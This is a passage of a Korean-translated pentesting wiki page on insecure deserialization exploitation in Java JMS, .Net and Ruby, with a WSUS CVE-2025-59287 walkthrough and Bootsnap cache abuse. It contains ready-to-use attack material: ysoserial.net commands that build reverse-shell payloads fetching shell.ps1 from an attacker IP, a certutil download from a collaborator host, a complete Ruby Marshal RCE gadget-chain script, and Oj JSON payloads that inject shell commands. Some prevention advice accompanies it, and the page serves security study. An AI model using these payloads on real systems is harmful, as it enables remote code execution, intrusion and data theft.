  • jdeserialize는 직렬화된 Java 객체를 deserializing하지 않고 분석할 수 있어 잠재적으로 악성인 콘텐츠를 식별하는 데 도움이 됩니다.
  • Kryo는 속도와 효율성을 강조하는 대체 직렬화 프레임워크로, 보안을 향상할 수 있는 구성 가능한 직렬화 전략을 제공합니다.

참고자료

JNDI Injection & log4Shell

다음 페이지에서 JNDI Injection이 무엇인지, RMI, CORBA & LDAP를 통해 이를 어떻게 악용하는지 그리고 log4shell을 어떻게 익스플로잇하는지(및 이 취약점의 예제)를 확인하세요:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 producer–consumer 문제를 처리하기 위한 구현입니다. JMS는 Java Platform, Enterprise Edition (Java EE)의 일부이며, 원래 Sun Microsystems에서 개발된 사양에 의해 정의되었으며 이후 Java Community Process에 의해 관리되고 있습니다. 이는 Java EE 기반의 애플리케이션 컴포넌트가 메시지를 생성, 전송, 수신 및 읽을 수 있게 하는 메시징 표준입니다. 분산 애플리케이션의 서로 다른 구성요소 간 통신을 느슨하게 결합되고, 신뢰 가능하며, 비동기적으로 만들어 줍니다. (출처: Wikipedia).

Products

이 미들웨어를 사용하여 메시지를 전송하는 여러 제품이 있습니다:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

요약하면, JMS를 위험한 방식으로 사용하는 많은 서비스들이 존재합니다. 따라서 해당 서비스에 메시지를 보낼 수 있는 충분한 권한(보통 유효한 자격 증명이 필요함)이 있다면, 소비자(consumer/subscriber)가 deserialized할 악성 직렬화 객체(serialized objects)를 보낼 수 있습니다.
이것은 이 익스플로잇에서 그 메시지를 사용하게 될 모든 클라이언트들이 감염될 수 있다는 것을 의미합니다.

서비스가 취약하더라도(사용자 입력을 안전하지 않게 deserializing하는 경우) 익스플로잇을 위해서는 여전히 유효한 gadgets를 찾아야 한다는 점을 기억하세요.

도구 JMET연결하여 알려진 gadgets를 사용해 여러 악성 직렬화 객체를 전송함으로써 이 서비스들을 공격하도록 만들어졌습니다. 이 익스플로잇은 서비스가 여전히 취약하고 사용된 gadget 중 어느 하나라도 취약한 애플리케이션에 포함되어 있을 때 작동합니다.

References

.Net

.Net 환경에서의 deserialization 익스플로잇은 Java에서 발견되는 방식과 유사하게 작동하며, 객체의 deserialization 과정에서 특정 코드를 실행하도록 gadgets가 악용됩니다.

Fingerprint

WhiteBox

소스 코드를 검사하여 다음 항목의 존재 여부를 확인해야 합니다:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

사용자가 제어하는 변수에 의해 타입이 결정되도록 허용하는 serializer에 초점을 맞춰야 합니다.

BlackBox

검색 대상은 Base64 인코딩 문자열 AAEAAAD///// 또는 서버 측에서 deserialization되어 deserialized할 타입에 대한 제어를 허용할 수 있는 유사한 패턴이어야 합니다. 여기에는 TypeObject 또는 $type을 포함하는 JSON 또는 XML 구조가 포함될 수 있습니다.

ysoserial.net

이 경우 ysoserial.net 도구를 사용하여 deserialization 익스플로잇을 생성할 수 있습니다. git 리포지토리를 다운로드한 후 예를 들어 Visual Studio를 사용하여 도구를 컴파일해야 합니다.

ysoserial.net이 어떻게 익스플로잇을 생성하는지 알고 싶다면 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter가 설명된 페이지를 확인하세요.

ysoserial.net의 주요 옵션은: --gadget, --formatter, --output 및 **--plugin**입니다.

  • --gadget: 악용할 gadget(deserialization 중 명령을 실행하기 위해 악용될 클래스/함수)을 지정하는 데 사용됩니다.
  • --formatter: 익스플로잇을 직렬화할 방법을 지정하는 데 사용됩니다(백엔드가 페이로드를 deserializing하는 데 사용하는 라이브러리를 알아내고 동일한 포매터를 사용해야 합니다).
  • --output: 익스플로잇을 raw 또는 base64로 출력할지를 지정합니다. 참고: ysoserial.net은 페이로드를 기본적으로 UTF-16LE인코딩하므로, raw를 가져와 리눅스 콘솔에서 단순히 인코딩하면 인코딩 호환성 문제로 익스플로잇이 제대로 작동하지 않을 수 있습니다(HTB JSON box에서는 페이로드가 UTF-16LE와 ASCII 둘 다에서 작동했지만 항상 그런 것은 아닙니다).
  • --plugin: ysoserial.net은 ViewState와 같은 특정 프레임워크용 익스플로잇을 제작하기 위한 플러그인을 지원합니다.

More ysoserial.net parameters

  • --minify는 가능한 경우 더 작은 페이로드를 제공합니다.
  • --raf -f Json.Net -c "anything": 제공된 formatter(Json.Net 이 경우)와 함께 사용할 수 있는 모든 gadgets를 표시합니다.
  • --sf xmlgadget(-g)을 지정할 수 있으며 ysoserial.net이 "xml"(대소문자 구분 없음)을 포함하는 formatter를 검색하도록 합니다.

ysoserial examples to create exploits:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net에는 각 exploit가 어떻게 동작하는지 더 잘 이해하는 데 도움이 되는 매우 흥미로운 매개변수 --test가 있습니다.
이 매개변수를 지정하면 ysoserial.net이 exploit을 로컬에서 시도하여 payload가 올바르게 작동하는지 테스트할 수 있습니다.
이 매개변수는 유용한데, 코드를 검토하면 다음과 같은 코드 조각을 발견할 수 있기 때문입니다 (from ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

즉, exploit을 테스트하기 위해 code는 serializersHelper.JsonNet_deserialize를 호출한다

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

이전 코드는 생성된 익스플로잇에 취약합니다. 따라서 .Net 애플리케이션에서 유사한 코드를 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
따라서 --test 파라미터는 ysoserial.net이 생성할 수 있는 desrialization exploit에 대해 어떤 코드 조각들이 취약한지 파악할 수 있게 해줍니다.

ViewState

다음 글을 확인해보세요: this POST about how to try to exploit the __ViewState parameter of .Net 임의의 코드를 실행하기 위해. 만약 피해자 머신에서 사용된 secrets를 이미 알고 있다면, read this post to know to execute code.

실제 사례: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Affected endpoints:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie가 복호화된 후 BinaryFormatter로 역직렬화됩니다.
  • /ReportingWebService.asmx → ReportEventBatch 및 관련 SOAP 오퍼레이션이 SoapFormatter sinks에 도달함; base64 gadget은 WSUS 콘솔이 이벤트를 수집할 때 처리됩니다.
  • Root cause: 공격자가 제어하는 바이트가 엄격한 allow‑lists/binders 없이 레거시 .NET 포매터(BinaryFormatter/SoapFormatter)에 도달하여 gadget chains가 WSUS 서비스 계정(대개 SYSTEM) 권한으로 실행됩니다.

Minimal exploitation (Reporting path):

  1. ysoserial.net으로 .NET gadget을 생성하고 (BinaryFormatter 또는 SoapFormatter) base64로 출력합니다. 예:
powershell
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. ReportEventBatch용 SOAP를 생성해 base64 gadget를 포함시키고 /ReportingWebService.asmx에 POST합니다.
  2. 관리자가 WSUS 콘솔을 열면 이벤트가 역직렬화되고 gadget이 실행되어 (SYSTEM 권한으로 RCE)가 발생합니다.

AuthorizationCookie / GetCookie()

  • 위조된 AuthorizationCookie는 수락되어 복호화된 후 BinaryFormatter sink로 전달될 수 있으며, 도달 가능한 경우 pre‑auth RCE를 가능하게 합니다.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

powershell
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

예방

.Net에서 deserialization과 관련된 위험을 완화하려면:

  • 데이터 스트림이 객체 타입을 정의하도록 허용하지 마세요. 가능하면 DataContractSerializer 또는 XmlSerializer를 사용하세요.
  • JSON.Net의 경우 TypeNameHandlingNone으로 설정하세요: TypeNameHandling = TypeNameHandling.None
  • JavaScriptSerializerJavaScriptTypeResolver와 함께 사용하는 것을 피하세요.
  • deserialized될 수 있는 타입을 제한하세요, System.IO.FileInfo와 같은 .Net 타입은 서버 파일의 속성을 변경할 수 있어 잠재적으로 denial of service attacks로 이어질 수 있다는 점을 이해하세요.
  • System.ComponentModel.DataAnnotations.ValidationExceptionValue와 같은 위험한 속성을 가진 타입을 주의하세요, 이러한 속성은 악용될 수 있습니다.
  • 타입 인스턴스화를 안전하게 통제하세요 — 공격자가 deserialization 과정을 조작하지 못하게 하여 DataContractSerializerXmlSerializer조차도 취약해지지 않도록 하세요.
  • 화이트리스트 제어를 구현하세요BinaryFormatterJSON.Net에 대해 커스텀 SerializationBinder를 사용하세요.
  • .Net 내 알려진 insecure deserialization gadgets에 대한 정보를 지속적으로 확인하고, deserializer가 그러한 타입을 인스턴스화하지 않도록 하세요.
  • 잠재적으로 위험한 코드를 인터넷 접근이 가능한 코드와 격리하세요 — WPF 애플리케이션의 System.Windows.Data.ObjectDataProvider와 같은 알려진 gadgets가 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하세요.

참고 자료

Ruby

Ruby에서는 marshal 라이브러리의 두 메서드로 serialization을 수행합니다. 첫 번째 메서드인 dump는 객체를 바이트 스트림으로 변환하는 데 사용됩니다(이를 serialization이라고 합니다). 반대로 두 번째 메서드인 load는 바이트 스트림을 객체로 되돌리는 데 사용됩니다(이를 deserialization이라고 합니다).

serialized 객체를 보호하기 위해, **Ruby는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 신뢰성을 보장합니다. 이 용도로 사용되는 키는 다음 위치들 중 하나에 저장됩니다:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (자세한 정보: https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ruby On Rails를 익스플로잇하기 위한 다른 RCE 체인: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

As explained in this vulnerability report, if some user unsanitized input reaches the .send() method of a ruby object, this method allows to 객체의 다른 어떤 메서드도 어떤 매개변수로든 호출할 수 있게 합니다.

For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

또한, 앞서의 설명에서 언급했듯이 공격자가 **.send()**의 단 하나의 매개변수만 제어할 수 있는 경우, 인수를 필요로 하지 않거나 인수에 기본값이 설정된 객체의 어떤 메서드라도 호출할 수 있습니다.
이를 위해 객체의 모든 메서드를 열거하여 해당 조건을 충족하는 흥미로운 메서드를 찾아낼 수 있습니다.

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

어떻게 가능한지 확인하세요 pollute a Ruby class and abuse it in here.

Ruby _json pollution

body에 배열처럼 해시할 수 없는 값들을 전송하면, 이 값들은 _json이라는 새 키에 추가됩니다. 하지만 공격자는 body에 _json이라는 값을 원하는 임의의 값으로 직접 설정할 수도 있습니다. 예를 들어 백엔드가 어떤 파라미터의 진위를 확인한 다음 _json 파라미터를 사용해 어떤 동작을 수행한다면 권한 우회(authorisation bypass)가 발생할 수 있습니다.

자세한 내용은 Ruby _json pollution page를 확인하세요.

기타 라이브러리

이 기술은 from this blog post에서 가져왔습니다.

객체를 serialize하는 데 사용할 수 있는 다른 Ruby 라이브러리들이 있으며, 따라서 안전하지 않은 역직렬화(insecure deserialization) 동안 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리들 중 일부와, 언직렬화될 때 호출되는 해당 라이브러리의 메서드(기본적으로 RCE를 얻기 위해 악용할 수 있는 함수)를 보여줍니다:

LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

기본 예:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Oj를 악용하려고 시도할 때, 해당 hash 함수 내부에서 to_s를 호출하고, to_s가 spec을 호출하며, spec이 fetch_path를 호출하도록 하는 gadget class를 찾을 수 있었고, 이를 통해 무작위 URL을 가져오게 만들어 이러한 종류의 unsanitized deserialization vulnerabilities를 잘 탐지할 수 있었다.

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

또한, 이전 기법으로 시스템에 폴더가 생성되는 것이 발견되었으며, 이는 다른 gadget을 악용해 이를 완전한 RCE로 변환하기 위한 전제 조건이다. 다음과 같은 방식으로:

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

아래는 Bootsnap 캐싱을 악용하여 arbitrary file write 취약점을 익스플로잇하는 방법에 대한 글의 요약입니다.

  • Identify the Vulnerability and Environment

Rails 앱의 파일 업로드 기능이 공격자에게 임의 파일 쓰기를 허용합니다. 애플리케이션이 제한된 환경에서 실행되더라도(예: Docker의 non-root user로 인해 tmp와 같은 특정 디렉터리만 writable) 이로 인해 Bootsnap 캐시 디렉터리(일반적으로 tmp/cache/bootsnap 아래)에 파일을 쓸 수 있습니다.

  • Understand Bootsnap’s Cache Mechanism

Bootsnap은 Rails 부팅 시간을 줄이기 위해 컴파일된 Ruby 코드, YAML, JSON 파일을 캐싱합니다. 캐시 파일은 cache key header(Ruby version, file size, mtime, compile options 등과 같은 필드를 포함)와 그 뒤에 이어지는 컴파일된 코드로 구성됩니다. 이 헤더는 앱 시작 시 캐시의 유효성을 검증하는 데 사용됩니다.

  • Gather File Metadata

공격자는 먼저 Rails 시작 시 로드될 가능성이 높은 대상 파일(예: Ruby 표준 라이브러리의 set.rb)을 선택합니다. 컨테이너 내부에서 Ruby 코드를 실행하여 RUBY_VERSION, RUBY_REVISION, size, mtime, compile_option 같은 중요한 메타데이터를 추출합니다. 이 데이터는 유효한 cache key를 생성하는 데 필수적입니다.

  • Compute the Cache File Path

Bootsnap의 FNV-1a 64-bit 해시 메커니즘을 재현하여 올바른 캐시 파일 경로를 결정합니다. 이 단계는 악성 캐시 파일이 Bootsnap이 예상하는 정확한 위치(예: tmp/cache/bootsnap/compile-cache-iseq/)에 배치되도록 보장합니다.

  • Craft the Malicious Cache File

The attacker prepares a payload that:

  • Executes arbitrary commands (for example, running id to show process info).
  • Removes the malicious cache after execution to prevent recursive exploitation.
  • Loads the original file (e.g., set.rb) to avoid crashing the application.

이 페이로드는 바이너리 Ruby 코드로 컴파일되고, 앞서 수집한 메타데이터와 Bootsnap의 올바른 버전 번호를 사용하여 신중하게 구성된 cache key header와 연결됩니다.

  • Overwrite and Trigger Execution

arbitrary file write 취약점을 이용해 계산된 위치에 조작된 캐시 파일을 씁니다. 다음으로 tmp/restart.txt에 쓰기(이는 Puma가 모니터링함)로 서버 재시작을 트리거합니다. 재시작 중 Rails가 대상 파일을 require할 때, 악성 캐시 파일이 로드되어 RCE가 발생합니다.

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • 실제 체인에서 자주 보이는 gadget classes: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • payloads에 포함된 전형적인 side-effect marker (unmarshal 중에 실행됨):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Where it surfaces in real apps:

  • Rails 캐시 스토어와 세션 스토어(과거에는 Marshal 사용)
  • 백그라운드 작업 백엔드 및 파일 기반 오브젝트 스토어
  • 이진 오브젝트 블롭의 커스텀 영속화 또는 전송

Industrialized gadget discovery:

  • constructors, hash, _load, init_with 또는 unmarshal 중 호출되는 부작용 있는 메서드를 Grep
  • CodeQL의 Ruby unsafe deserialization 쿼리를 사용해 sources → sinks를 추적하고 gadget을 표면화
  • 공개된 다중 포맷 PoCs(JSON/XML/YAML/Marshal)로 검증

References

  • Trail of Bits – Marshal madness: Ruby deserialization exploits의 간략한 역사: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal 체인: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – Ruby on Rails Active Storage의 insecure deserialization을 통한 RCE: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Rubyland에서의 gadget chain 발견: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기